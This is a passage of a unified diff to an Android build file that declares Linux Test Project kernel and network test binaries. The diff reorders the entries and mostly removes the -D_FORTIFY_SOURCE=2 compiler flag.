-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/rename/rename12.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_rename13",
-    stem: "rename13",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/rename/rename13.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_rename10",
-    stem: "rename10",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/rename/rename10.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_rename11",
-    stem: "rename11",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/rename/rename11.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_fchownat01",
-    stem: "fchownat01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/fchownat/fchownat01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_fw_load",
-    stem: "fw_load",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/firmware/fw_load_user/fw_load.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_unshare01",
-    stem: "unshare01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/unshare/unshare01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_unshare02",
-    stem: "unshare02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/unshare/unshare02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_ima_measure",
-    stem: "ima_measure",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/security/integrity/ima/src/ima_measure.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-    shared_libs: [
-        "libdl",
-        "libcrypto",
-    ],
-}
-
-cc_test {
-    name: "ltp_smack_set_socket_labels",
-    stem: "smack_set_socket_labels",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/security/smack/smack_set_socket_labels.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_unlinkat01",
-    stem: "unlinkat01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/unlinkat/unlinkat01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_testsf_s",
-    stem: "testsf_s",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/network/tcp_cmds/sendfile/testsf_s.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: [
-        "testcases/network/tcp_cmds/include",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_sigwaitinfo01",
-    stem: "sigwaitinfo01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/sigwaitinfo/sigwaitinfo01.c"],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-DTEST_SIGWAITINFO",
-    ],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_nfs01_open_files",
-    stem: "nfs01_open_files",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/network/nfs/nfs_stress/nfs01_open_files.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_mem02",
-    stem: "mem02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/mem/mem/mem02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_clock_nanosleep01",
-    stem: "clock_nanosleep01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/clock_nanosleep/clock_nanosleep01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_clock_nanosleep02",
-    stem: "clock_nanosleep02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/clock_nanosleep/clock_nanosleep02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_testsf_c",
-    stem: "testsf_c",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/network/tcp_cmds/sendfile/testsf_c.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: [
-        "testcases/network/tcp_cmds/include",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_readdir01",
-    stem: "readdir01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/readdir/readdir01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_check_simple_capset",
-    stem: "check_simple_capset",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/security/filecaps/check_simple_capset.c"],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-D_GNU_SOURCE",
-    ],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_swapping01",
-    stem: "swapping01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/mem/swapping/swapping01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: [
-        "testcases/kernel/mem/include",
-        "testcases/kernel/include",
-        "include/old",
-    ],
-    static_libs: [
-        "libltp_mem",
-        "libltp_kerntest",
-        "libltp_ltp",
-    ],
-}
-
-cc_test {
-    name: "ltp_cpuctl_fj_simple_echo",
-    stem: "cpuctl_fj_simple_echo",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/controllers/cpuctl_fj/cpuctl_fj_simple_echo.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: [
-        "testcases/kernel/controllers/libcontrollers",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_inh_capped",
-    stem: "inh_capped",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/security/filecaps/inh_capped.c"],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-D_GNU_SOURCE",
-    ],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_cpuctl_fj_cpu-hog",
-    stem: "cpuctl_fj_cpu-hog",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/controllers/cpuctl_fj/cpuctl_fj_cpu-hog.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: [
-        "testcases/kernel/controllers/libcontrollers",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_removexattr01",
-    stem: "removexattr01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/removexattr/removexattr01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_print_caps",
-    stem: "print_caps",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/security/filecaps/print_caps.c"],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-D_GNU_SOURCE",
-    ],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_removexattr02",
-    stem: "removexattr02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/removexattr/removexattr02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_fchmod02",
-    stem: "fchmod02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/fchmod/fchmod02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_exit01",
-    stem: "exit01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/exit/exit01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_tst_checkpoint_wait_timeout",
-    stem: "tst_checkpoint_wait_timeout",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["lib/tests/tst_checkpoint_wait_timeout.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_socketpair01",
-    stem: "socketpair01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/socketpair/socketpair01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_exit02",
-    stem: "exit02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/exit/exit02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_writev01",
-    stem: "writev01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/writev/writev01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_tst_strsig",
-    stem: "tst_strsig",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["lib/tests/tst_strsig.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_dio_sparse",
-    stem: "dio_sparse",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/io/ltp-aiodio/dio_sparse.c"],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-DAIO",
-    ],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_fchmod07",
-    stem: "fchmod07",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/fchmod/fchmod07.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_float_iperb",
-    stem: "float_iperb",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/misc/math/float/float_iperb.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_fchmod06",
-    stem: "fchmod06",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/fchmod/fchmod06.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_execve04",
-    stem: "execve04",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/execve/execve04.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_random-access",
-    stem: "random-access",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/fs/fs-bench/random-access.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-}
-
-cc_test {
-    name: "ltp_writev05",
-    stem: "writev05",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/writev/writev05.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_sched_get_priority_max01",
-    stem: "sched_get_priority_max01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/sched_get_priority_max/sched_get_priority_max01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_fchmod04",
-    stem: "fchmod04",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/fchmod/fchmod04.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_cpufreq_boost",
-    stem: "cpufreq_boost",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/device-drivers/cpufreq/cpufreq_boost.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_openat02_child",
-    stem: "openat02_child",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/openat/openat02_child.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_times01",
-    stem: "times01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/times/times01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_tst_fs_fill_hardlinks",
-    stem: "tst_fs_fill_hardlinks",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["lib/tests/tst_fs_fill_hardlinks.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_times03",
-    stem: "times03",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/times/times03.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_getrandom01",
-    stem: "getrandom01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/getrandom/getrandom01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_getrandom03",
-    stem: "getrandom03",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/getrandom/getrandom03.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_getrandom02",
-    stem: "getrandom02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/getrandom/getrandom02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
     local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
 }
 
 cc_test {
@@ -5993,30 +257,6 @@
     stem: "add_key01",
     defaults: ["ltp_test_defaults"],
     srcs: ["testcases/kernel/syscalls/add_key/add_key01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_memcg_process_stress",
-    stem: "memcg_process_stress",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/controllers/memcg/stress/memcg_process_stress.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: [
-        "testcases/kernel/controllers/libcontrollers",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_fallocate05",
-    stem: "fallocate05",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/fallocate/fallocate05.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
     local_include_dirs: ["include/old"],
     static_libs: ["libltp_ltp"],
 }
@@ -6026,7 +266,15 @@
     stem: "add_key02",
     defaults: ["ltp_test_defaults"],
     srcs: ["testcases/kernel/syscalls/add_key/add_key02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_add_key03",
+    stem: "add_key03",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/add_key/add_key03.c"],
     local_include_dirs: ["include/old"],
     static_libs: ["libltp_ltp"],
 }
@@ -6036,159 +284,249 @@
     stem: "add_key04",
     defaults: ["ltp_test_defaults"],
     srcs: ["testcases/kernel/syscalls/add_key/add_key04.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
     local_include_dirs: ["include/old"],
     static_libs: ["libltp_ltp"],
 }
 
 cc_test {
-    name: "ltp_select04",
-    stem: "select04",
+    name: "ltp_adjtimex01",
+    stem: "adjtimex01",
     defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/select/select04.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
+    srcs: ["testcases/kernel/syscalls/adjtimex/adjtimex01.c"],
     local_include_dirs: ["include/old"],
     static_libs: ["libltp_ltp"],
 }
 
 cc_test {
-    name: "ltp_fs_perms",
-    stem: "fs_perms",
+    name: "ltp_adjtimex02",
+    stem: "adjtimex02",
     defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/fs/fs_perms/fs_perms.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
+    srcs: ["testcases/kernel/syscalls/adjtimex/adjtimex02.c"],
     local_include_dirs: ["include/old"],
     static_libs: ["libltp_ltp"],
 }
 
 cc_test {
-    name: "ltp_exec_with_inh",
-    stem: "exec_with_inh",
+    name: "ltp_aio-stress",
+    stem: "aio-stress",
     defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/security/cap_bound/exec_with_inh.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
+    srcs: ["testcases/kernel/io/ltp-aiodio/aio-stress.c"],
+    cflags: ["-DAIO"],
     local_include_dirs: ["include/old"],
     static_libs: ["libltp_ltp"],
 }
 
 cc_test {
-    name: "ltp_recv01",
-    stem: "recv01",
+    name: "ltp_aio01",
+    stem: "aio01",
     defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/recv/recv01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
+    srcs: ["testcases/kernel/io/aio/aio01.c"],
+    cflags: ["-D_GNU_SOURCE"],
     local_include_dirs: ["include/old"],
     static_libs: ["libltp_ltp"],
 }
 
 cc_test {
-    name: "ltp_genexp",
-    stem: "genexp",
+    name: "ltp_aio02",
+    stem: "aio02",
     defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/misc/math/float/exp_log/genexp.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-}
-
-cc_test {
-    name: "ltp_utime01",
-    stem: "utime01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/utime/utime01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
+    srcs: ["testcases/kernel/io/aio/aio02.c"],
+    cflags: ["-D_GNU_SOURCE"],
     local_include_dirs: ["include/old"],
     static_libs: ["libltp_ltp"],
 }
 
 cc_test {
-    name: "ltp_nsclone",
-    stem: "nsclone",
+    name: "ltp_aiocp",
+    stem: "aiocp",
     defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/fs/fs_bind/bin/nsclone.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
+    srcs: ["testcases/kernel/io/ltp-aiodio/aiocp.c"],
+    cflags: ["-DAIO"],
     local_include_dirs: ["include/old"],
     static_libs: ["libltp_ltp"],
 }
 
 cc_test {
-    name: "ltp_sysconf01",
-    stem: "sysconf01",
+    name: "ltp_aiodio_append",
+    stem: "aiodio_append",
     defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/sysconf/sysconf01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
+    srcs: ["testcases/kernel/io/ltp-aiodio/aiodio_append.c"],
+    cflags: ["-DAIO"],
     local_include_dirs: ["include/old"],
     static_libs: ["libltp_ltp"],
 }
 
 cc_test {
-    name: "ltp_page01",
-    stem: "page01",
+    name: "ltp_aiodio_sparse",
+    stem: "aiodio_sparse",
     defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/mem/page/page01.c"],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-DLINUX",
-    ],
+    srcs: ["testcases/kernel/io/ltp-aiodio/aiodio_sparse.c"],
+    cflags: ["-DAIO"],
     local_include_dirs: ["include/old"],
     static_libs: ["libltp_ltp"],
 }
 
 cc_test {
-    name: "ltp_exec_without_inh",
-    stem: "exec_without_inh",
+    name: "ltp_alarm02",
+    stem: "alarm02",
     defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/security/cap_bound/exec_without_inh.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
+    srcs: ["testcases/kernel/syscalls/alarm/alarm02.c"],
     local_include_dirs: ["include/old"],
     static_libs: ["libltp_ltp"],
 }
 
 cc_test {
-    name: "ltp_getitimer01",
-    stem: "getitimer01",
+    name: "ltp_alarm03",
+    stem: "alarm03",
     defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/getitimer/getitimer01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
+    srcs: ["testcases/kernel/syscalls/alarm/alarm03.c"],
     local_include_dirs: ["include/old"],
     static_libs: ["libltp_ltp"],
 }
 
 cc_test {
-    name: "ltp_getitimer03",
-    stem: "getitimer03",
+    name: "ltp_alarm05",
+    stem: "alarm05",
     defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/getitimer/getitimer03.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
+    srcs: ["testcases/kernel/syscalls/alarm/alarm05.c"],
     local_include_dirs: ["include/old"],
     static_libs: ["libltp_ltp"],
 }
 
 cc_test {
-    name: "ltp_getitimer02",
-    stem: "getitimer02",
+    name: "ltp_alarm06",
+    stem: "alarm06",
     defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/getitimer/getitimer02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
+    srcs: ["testcases/kernel/syscalls/alarm/alarm06.c"],
     local_include_dirs: ["include/old"],
     static_libs: ["libltp_ltp"],
 }
 
 cc_test {
-    name: "ltp_select01",
-    stem: "select01",
+    name: "ltp_alarm07",
+    stem: "alarm07",
     defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/select/select01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
+    srcs: ["testcases/kernel/syscalls/alarm/alarm07.c"],
     local_include_dirs: ["include/old"],
     static_libs: ["libltp_ltp"],
 }
 
 cc_test {
-    name: "ltp_readdir21",
-    stem: "readdir21",
+    name: "ltp_asapi_01",
+    stem: "asapi_01",
     defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/readdir/readdir21.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
+    srcs: ["testcases/network/lib6/asapi_01.c"],
+    cflags: ["-D_GNU_SOURCE"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_asapi_02",
+    stem: "asapi_02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/network/lib6/asapi_02.c"],
+    cflags: ["-D_GNU_SOURCE"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_asapi_03",
+    stem: "asapi_03",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/network/lib6/asapi_03.c"],
+    cflags: ["-D_GNU_SOURCE"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_asyncio02",
+    stem: "asyncio02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/asyncio/asyncio02.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_atof01",
+    stem: "atof01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/misc/math/atof/atof01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_autogroup01",
+    stem: "autogroup01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/sched/autogroup/autogroup01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_bdflush01",
+    stem: "bdflush01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/bdflush/bdflush01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_bind01",
+    stem: "bind01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/bind/bind01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_bind02",
+    stem: "bind02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/bind/bind02.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_bind03",
+    stem: "bind03",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/bind/bind03.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_block_dev",
+    stem: "block_dev",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/device-drivers/block/block_dev_user/block_dev.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_brk01",
+    stem: "brk01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/brk/brk01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_cacheflush01",
+    stem: "cacheflush01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/cacheflush/cacheflush01.c"],
     local_include_dirs: ["include/old"],
     static_libs: ["libltp_ltp"],
 }
@@ -6199,7 +537,6 @@
     defaults: ["ltp_test_defaults"],
     srcs: ["testcases/network/can/filter-tests/can_filter.c"],
     cflags: [
-        "-D_FORTIFY_SOURCE=2",
         "-DETH_P_CAN=0x000C",
         "-DPF_CAN=29",
         "-DAF_CAN=PF_CAN",
@@ -6209,578 +546,69 @@
 }
 
 cc_test {
-    name: "ltp_crash02",
-    stem: "crash02",
+    name: "ltp_can_rcv_own_msgs",
+    stem: "can_rcv_own_msgs",
     defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/misc/crash/crash02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_tomoyo_new_test",
-    stem: "tomoyo_new_test",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/security/tomoyo/tomoyo_new_test.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
